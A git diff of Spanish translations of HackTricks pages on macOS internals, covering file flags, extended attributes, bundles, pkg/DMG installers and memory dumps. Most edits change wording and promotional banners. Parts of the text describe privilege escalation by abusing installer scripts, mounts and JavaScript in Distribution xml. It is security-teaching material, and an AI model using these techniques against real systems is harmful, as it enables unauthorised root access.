@ -124,9 +125,9 @@ También es posible descargar la Caché de Bibliotecas Compartidas de otros disp
|
|||
|
||||
**`dyld`** utiliza la llamada al sistema **`shared_region_check_np`** para saber si la SLC ha sido mapeada (que devuelve la dirección) y **`shared_region_map_and_slide_np`** para mapear la SLC.
|
||||
|
||||
Ten en cuenta que incluso si la SLC se desliza en el primer uso, todos los **procesos** utilizan la **misma copia**, lo que **elimina la protección ASLR** si el atacante pudo ejecutar procesos en el sistema. Esto fue realmente explotado en el pasado y se solucionó con el paginador de región compartida.
|
||||
Ten en cuenta que incluso si la SLC se desliza en el primer uso, todos los **procesos** utilizan la **misma copia**, lo que **elimina la protección ASLR** si el atacante lograra ejecutar procesos en el sistema. Esto fue realmente explotado en el pasado y se solucionó con el paginador de región compartida.
|
||||
|
||||
Los grupos de ramas son pequeñas dylibs de Mach-O que crean pequeños espacios entre los mapeos de imágenes haciendo imposible interponerse en las funciones.
|
||||
Los pools de ramas son pequeñas dylibs de Mach-O que crean pequeños espacios entre los mapeos de imágenes, lo que hace imposible interponerse en las funciones.
|
||||
|
||||
### Anular SLCs
|
||||
|
||||
|
@ -137,7 +138,7 @@ Usando las variables de entorno:
|
|||
|
||||
## Permisos Especiales de Archivos
|
||||
|
||||
### Permisos de Carpeta
|
||||
### Permisos de Carpetas
|
||||
|
||||
En una **carpeta**, **leer** permite **listarla**, **escribir** permite **eliminar** y **escribir** archivos en ella, y **ejecutar** permite **atravesar** el directorio. Por lo tanto, por ejemplo, un usuario con **permiso de lectura sobre un archivo** dentro de un directorio donde no tiene permiso de **ejecución no podrá leer** el archivo.
|
||||
|
||||
|
@ -145,7 +146,7 @@ En una **carpeta**, **leer** permite **listarla**, **escribir** permite **elimin
|
|||
|
||||
Hay algunas banderas que se pueden establecer en los archivos que harán que el archivo se comporte de manera diferente. Puedes **verificar las banderas** de los archivos dentro de un directorio con `ls -lO /ruta/directorio`
|
||||
|
||||
* **`uchg`**: Conocida como bandera de **uchange** evitará que se realice cualquier acción que cambie o elimine el **archivo**. Para establecerla haz: `chflags uchg archivo.txt`
|
||||
* **`uchg`**: Conocida como la bandera **uchange** evitará que se realice cualquier acción que cambie o elimine el **archivo**. Para establecerla haz: `chflags uchg archivo.txt`
|
||||
* El usuario root podría **quitar la bandera** y modificar el archivo
|
||||
* **`restricted`**: Esta bandera hace que el archivo esté **protegido por SIP** (no puedes agregar esta bandera a un archivo).
|
||||
* **`Bit pegajoso`**: Si un directorio tiene el bit pegajoso, **solo** el **propietario de los directorios o root pueden renombrar o eliminar** archivos. Normalmente esto se establece en el directorio /tmp para evitar que los usuarios normales eliminen o muevan archivos de otros usuarios.
|
||||
|
@ -198,21 +199,21 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
|
|||
|
||||
Los atributos extendidos tienen un nombre y un valor deseado, y se pueden ver usando `ls -@` y manipular usando el comando `xattr`. Algunos atributos extendidos comunes son:
|
||||
|
||||
- `com.apple.resourceFork`: Compatibilidad con la bifurcación de recursos. También visible como `filename/..namedfork/rsrc`
|
||||
- `com.apple.quarantine`: MacOS: Mecanismo de cuarentena de Gatekeeper (III/6)
|
||||
- `metadata:*`: MacOS: varios metadatos, como `_backup_excludeItem`, o `kMD*`
|
||||
- `com.apple.lastuseddate` (#PS): Fecha de último uso del archivo
|
||||
- `com.apple.FinderInfo`: MacOS: Información del Finder (por ejemplo, etiquetas de color)
|
||||
- `com.apple.TextEncoding`: Especifica la codificación de texto de archivos de texto ASCII
|
||||
- `com.apple.logd.metadata`: Utilizado por logd en archivos en `/var/db/diagnostics`
|
||||
- `com.apple.genstore.*`: Almacenamiento generacional (`/.DocumentRevisions-V100` en la raíz del sistema de archivos)
|
||||
- `com.apple.rootless`: MacOS: Utilizado por Protección de Integridad del Sistema para etiquetar archivos (III/10)
|
||||
- `com.apple.uuidb.boot-uuid`: Marcas de logd de épocas de arranque con UUID único
|
||||
- `com.apple.decmpfs`: MacOS: Compresión de archivos transparente (II/7)
|
||||
- `com.apple.cprotect`: \*OS: Datos de cifrado por archivo (III/11)
|
||||
- `com.apple.installd.*`: \*OS: Metadatos utilizados por installd, por ejemplo, `installType`, `uniqueInstallID`
|
||||
* `com.apple.resourceFork`: Compatibilidad con el tenedor de recursos. También visible como `filename/..namedfork/rsrc`
|
||||
* `com.apple.quarantine`: MacOS: Mecanismo de cuarentena de Gatekeeper (III/6)
|
||||
* `metadata:*`: MacOS: varios metadatos, como `_backup_excludeItem`, o `kMD*`
|
||||
* `com.apple.lastuseddate` (#PS): Fecha de último uso del archivo
|
||||
* `com.apple.FinderInfo`: MacOS: Información del Finder (por ejemplo, etiquetas de color)
|
||||
* `com.apple.TextEncoding`: Especifica la codificación de texto de archivos de texto ASCII
|
||||
* `com.apple.logd.metadata`: Utilizado por logd en archivos en `/var/db/diagnostics`
|
||||
* `com.apple.genstore.*`: Almacenamiento generacional (`/.DocumentRevisions-V100` en la raíz del sistema de archivos)
|
||||
* `com.apple.rootless`: MacOS: Utilizado por Protección de Integridad del Sistema para etiquetar archivos (III/10)
|
||||
* `com.apple.uuidb.boot-uuid`: Marcas de logd de épocas de arranque con UUID único
|
||||
* `com.apple.decmpfs`: MacOS: Compresión de archivos transparente (II/7)
|
||||
* `com.apple.cprotect`: \*OS: Datos de cifrado por archivo (III/11)
|
||||
* `com.apple.installd.*`: \*OS: Metadatos utilizados por installd, por ejemplo, `installType`, `uniqueInstallID`
|
||||
|
||||
### Bifurcaciones de Recursos | ADS de macOS
|
||||
### Tenedores de Recursos | ADS de macOS
|
||||
|
||||
Esta es una forma de obtener **Flujos de Datos Alternativos en máquinas MacOS**. Puedes guardar contenido dentro de un atributo extendido llamado **com.apple.ResourceFork** dentro de un archivo guardándolo en **file/..namedfork/rsrc**.
|
||||
```bash
|
||||
|
@ -225,7 +226,7 @@ com.apple.ResourceFork: Hello Mac ADS
|
|||
ls -l a.txt #The file length is still q
|
||||
-rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt
|
||||
```
|
||||
Puedes **encontrar todos los archivos que contienen este atributo extendido** con:
|
||||
Puedes **encontrar todos los archivos que contienen este atributo extendido** con:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -237,7 +238,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
|
|||
|
||||
El atributo extendido `com.apple.decmpfs` indica que el archivo está almacenado encriptado, `ls -l` reportará un **tamaño de 0** y los datos comprimidos están dentro de este atributo. Cada vez que se accede al archivo, se desencriptará en memoria.
|
||||
|
||||
Este atributo se puede ver con `ls -lO` indicado como comprimido porque los archivos comprimidos también están etiquetados con la bandera `UF_COMPRESSED`. Si se elimina un archivo comprimido, esta bandera con `chflags nocompressed </ruta/al/archivo>`, el sistema no sabrá que el archivo estaba comprimido y, por lo tanto, no podrá descomprimirlo y acceder a los datos (pensará que en realidad está vacío).
|
||||
Este atributo se puede ver con `ls -lO` indicado como comprimido porque los archivos comprimidos también están etiquetados con la bandera `UF_COMPRESSED`. Si se elimina un archivo comprimido con esta bandera `chflags nocompressed </path/to/file>`, el sistema no sabrá que el archivo estaba comprimido y, por lo tanto, no podrá descomprimirlo y acceder a los datos (pensará que en realidad está vacío).
|
||||
|
||||
La herramienta afscexpand se puede utilizar para forzar la descompresión de un archivo.
|
||||
|
||||
|
@ -262,9 +263,9 @@ Los binarios de Mac OS generalmente se compilan como **binarios universales**. U
|
|||
El directorio `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` es donde se almacena información sobre el **riesgo asociado con diferentes extensiones de archivo**. Este directorio categoriza los archivos en varios niveles de riesgo, influyendo en cómo Safari maneja estos archivos al descargarlos. Las categorías son las siguientes:
|
||||
|
||||
* **LSRiskCategorySafe**: Los archivos en esta categoría se consideran **completamente seguros**. Safari abrirá automáticamente estos archivos después de ser descargados.
|
||||
* **LSRiskCategoryNeutral**: Estos archivos no vienen con advertencias y **no se abren automáticamente** en Safari.
|
||||
* **LSRiskCategoryUnsafeExecutable**: Los archivos en esta categoría **desencadenan una advertencia** que indica que el archivo es una aplicación. Esto sirve como una medida de seguridad para alertar al usuario.
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**: Esta categoría es para archivos, como archivos comprimidos, que podrían contener un ejecutable. Safari **desencadenará una advertencia** a menos que pueda verificar que todos los contenidos son seguros o neutrales.
|
||||
* **LSRiskCategoryNeutral**: Estos archivos no tienen advertencias y **no se abren automáticamente** en Safari.
|
||||
* **LSRiskCategoryUnsafeExecutable**: Los archivos en esta categoría **generan una advertencia** indicando que el archivo es una aplicación. Esto sirve como una medida de seguridad para alertar al usuario.
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**: Esta categoría es para archivos, como archivos comprimidos, que podrían contener un ejecutable. Safari **generará una advertencia** a menos que pueda verificar que todos los contenidos son seguros o neutrales.
|
||||
|
||||
## Archivos de registro
|
||||
|
||||
|
@ -277,16 +278,17 @@ El directorio `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/
|
|||
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Datos sobre puntos de acceso inalámbricos.
|
||||
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Lista de demonios desactivados.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Paquetes de macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -20,7 +21,7 @@ Los paquetes en macOS sirven como contenedores para una variedad de recursos que
|
|||
|
||||
### Componentes Esenciales de un Paquete
|
||||
|
||||
Dentro de un paquete, especialmente dentro del directorio `<aplicación>.app/Contents/`, se albergan una variedad de recursos importantes:
|
||||
Dentro de un paquete, particularmente dentro del directorio `<aplicación>.app/Contents/`, se encuentran alojados una variedad de recursos importantes:
|
||||
|
||||
* **\_CodeSignature**: Este directorio almacena detalles de firma de código vitales para verificar la integridad de la aplicación. Puedes inspeccionar la información de firma de código usando comandos como: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%%
|
||||
* **MacOS**: Contiene el binario ejecutable de la aplicación que se ejecuta al interactuar con el usuario.
|
||||
|
@ -51,18 +52,19 @@ Además de los directorios comunes, los paquetes también pueden incluir:
|
|||
|
||||
Esta estructura asegura que todos los componentes necesarios estén encapsulados dentro del paquete, facilitando un entorno de aplicación modular y seguro.
|
||||
|
||||
Para obtener información más detallada sobre las claves de `Info.plist` y sus significados, la documentación de desarrolladores de Apple proporciona recursos extensos: [Referencia de Claves de Info.plist de Apple](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html).
|
||||
Para obtener información más detallada sobre las claves de `Info.plist` y sus significados, la documentación de desarrolladores de Apple proporciona recursos extensos: [Referencia de Claves Info.plist de Apple](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html).
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Abuso de Instaladores en macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica de Pkg
|
||||
|
||||
|
@ -28,7 +29,7 @@ El archivo del paquete en sí es un archivo comprimido que contiene una **jerarq
|
|||
* **PackageInfo (xml)**: Información, requisitos de instalación, ubicación de instalación, rutas a scripts a ejecutar
|
||||
* **Lista de materiales (bom)**: Lista de archivos para instalar, actualizar o eliminar con permisos de archivo
|
||||
* **Carga (archivo CPIO comprimido con gzip)**: Archivos para instalar en la `ubicación de instalación` desde PackageInfo
|
||||
* **Scripts (archivo CPIO comprimido con gzip)**: Scripts de pre y post instalación y más recursos extraídos a un directorio temporal para la ejecución.
|
||||
* **Scripts (archivo CPIO comprimido con gzip)**: Scripts de pre y post instalación y más recursos extraídos a un directorio temporal para su ejecución.
|
||||
|
||||
### Descompresión
|
||||
```bash
|
||||
|
@ -44,9 +45,9 @@ xar -xf "/path/to/package.pkg"
|
|||
cat Scripts | gzip -dc | cpio -i
|
||||
cpio -i < Scripts
|
||||
```
|
||||
## Información básica de los archivos DMG
|
||||
## Información Básica de DMG
|
||||
|
||||
Los archivos DMG, o Apple Disk Images, son un formato de archivo utilizado por macOS de Apple para imágenes de disco. Un archivo DMG es esencialmente una **imagen de disco montable** (contiene su propio sistema de archivos) que contiene datos de bloques crudos generalmente comprimidos y a veces encriptados. Cuando abres un archivo DMG, macOS lo **monta como si fuera un disco físico**, lo que te permite acceder a su contenido.
|
||||
Los archivos DMG, o Imágenes de Disco de Apple, son un formato de archivo utilizado por macOS de Apple para imágenes de disco. Un archivo DMG es esencialmente una **imagen de disco montable** (contiene su propio sistema de archivos) que contiene datos de bloques crudos generalmente comprimidos y a veces encriptados. Cuando abres un archivo DMG, macOS lo **monta como si fuera un disco físico**, lo que te permite acceder a su contenido.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que los instaladores **`.dmg`** admiten **tantos formatos** que en el pasado algunos de ellos que contenían vulnerabilidades fueron abusados para obtener **ejecución de código de kernel**.
|
||||
|
@ -58,15 +59,15 @@ Ten en cuenta que los instaladores **`.dmg`** admiten **tantos formatos** que en
|
|||
|
||||
La jerarquía de un archivo DMG puede ser diferente según el contenido. Sin embargo, para los DMG de aplicaciones, generalmente sigue esta estructura:
|
||||
|
||||
- Nivel superior: Este es la raíz de la imagen de disco. A menudo contiene la aplicación y posiblemente un enlace a la carpeta de Aplicaciones.
|
||||
- Nivel Superior: Este es la raíz de la imagen de disco. A menudo contiene la aplicación y posiblemente un enlace a la carpeta de Aplicaciones.
|
||||
- Aplicación (.app): Esta es la aplicación real. En macOS, una aplicación es típicamente un paquete que contiene muchos archivos y carpetas individuales que conforman la aplicación.
|
||||
- Enlace de Aplicaciones: Este es un acceso directo a la carpeta de Aplicaciones en macOS. El propósito de esto es facilitar la instalación de la aplicación. Puedes arrastrar el archivo .app a este acceso directo para instalar la aplicación.
|
||||
|
||||
## Escalada de privilegios mediante abuso de pkg
|
||||
## Escalada de Privilegios mediante abuso de pkg
|
||||
|
||||
### Ejecución desde directorios públicos
|
||||
|
||||
Si un script de pre o post instalación está, por ejemplo, ejecutándose desde **`/var/tmp/Installerutil`**, y un atacante pudiera controlar ese script, podría escalar privilegios cada vez que se ejecute. Otro ejemplo similar:
|
||||
Si un script de pre o post instalación está ejecutando, por ejemplo, desde **`/var/tmp/Installerutil`**, y un atacante pudiera controlar ese script, podría escalar privilegios cada vez que se ejecute. Otro ejemplo similar:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption><p><a href="https://www.youtube.com/watch?v=kCXhIYtODBg">https://www.youtube.com/watch?v=kCXhIYtODBg</a></p></figcaption></figure>
|
||||
|
||||
|
@ -80,9 +81,9 @@ Esta es una [función pública](https://developer.apple.com/documentation/securi
|
|||
```
|
||||
### Ejecución mediante montaje
|
||||
|
||||
Si un instalador escribe en `/tmp/fixedname/bla/bla`, es posible **crear un montaje** sobre `/tmp/fixedname` sin propietarios para poder **modificar cualquier archivo durante la instalación** y abusar del proceso de instalación.
|
||||
Si un instalador escribe en `/tmp/fixedname/bla/bla`, es posible **crear un montaje** sobre `/tmp/fixedname` sin propietarios para que puedas **modificar cualquier archivo durante la instalación** y abusar del proceso de instalación.
|
||||
|
||||
Un ejemplo de esto es **CVE-2021-26089** que logró **sobrescribir un script periódico** para obtener ejecución como root. Para obtener más información, echa un vistazo a la charla: [**OBTS v4.0: "Montaña de Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
Un ejemplo de esto es **CVE-2021-26089** que logró **sobrescribir un script periódico** para obtener ejecución como root. Para más información, echa un vistazo a la charla: [**OBTS v4.0: "Montaña de Errores" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
|
||||
## pkg como malware
|
||||
|
||||
|
@ -90,7 +91,7 @@ Un ejemplo de esto es **CVE-2021-26089** que logró **sobrescribir un script per
|
|||
|
||||
Es posible simplemente generar un archivo **`.pkg`** con **scripts de pre y post-instalación** sin ninguna carga útil.
|
||||
|
||||
### JS en xml de Distribución
|
||||
### JS en Distribution xml
|
||||
|
||||
Es posible agregar etiquetas **`<script>`** en el archivo **xml de distribución** del paquete y ese código se ejecutará y puede **ejecutar comandos** utilizando **`system.run`**:
|
||||
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Volcado de memoria de macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
|
@ -20,7 +21,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**.
|
||||
|
||||
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.
|
||||
El objetivo principal de WhiteIntel es combatir tomas de cuentas y ataques de ransomware resultantes de malwares que roban información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
|
@ -32,11 +33,11 @@ Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
|||
|
||||
### Archivos de intercambio
|
||||
|
||||
Los archivos de intercambio, como `/private/var/vm/swapfile0`, sirven como **cachés cuando la memoria física está llena**. Cuando no hay más espacio en la memoria física, sus datos se transfieren a un archivo de intercambio y luego se devuelven a la memoria física según sea necesario. Pueden estar presentes varios archivos de intercambio, con nombres como swapfile0, swapfile1, y así sucesivamente.
|
||||
Los archivos de intercambio, como `/private/var/vm/swapfile0`, sirven como **cachés cuando la memoria física está llena**. Cuando ya no hay espacio en la memoria física, sus datos se transfieren a un archivo de intercambio y luego se devuelven a la memoria física según sea necesario. Pueden estar presentes varios archivos de intercambio, con nombres como swapfile0, swapfile1, y así sucesivamente.
|
||||
|
||||
### Imagen de hibernación
|
||||
|
||||
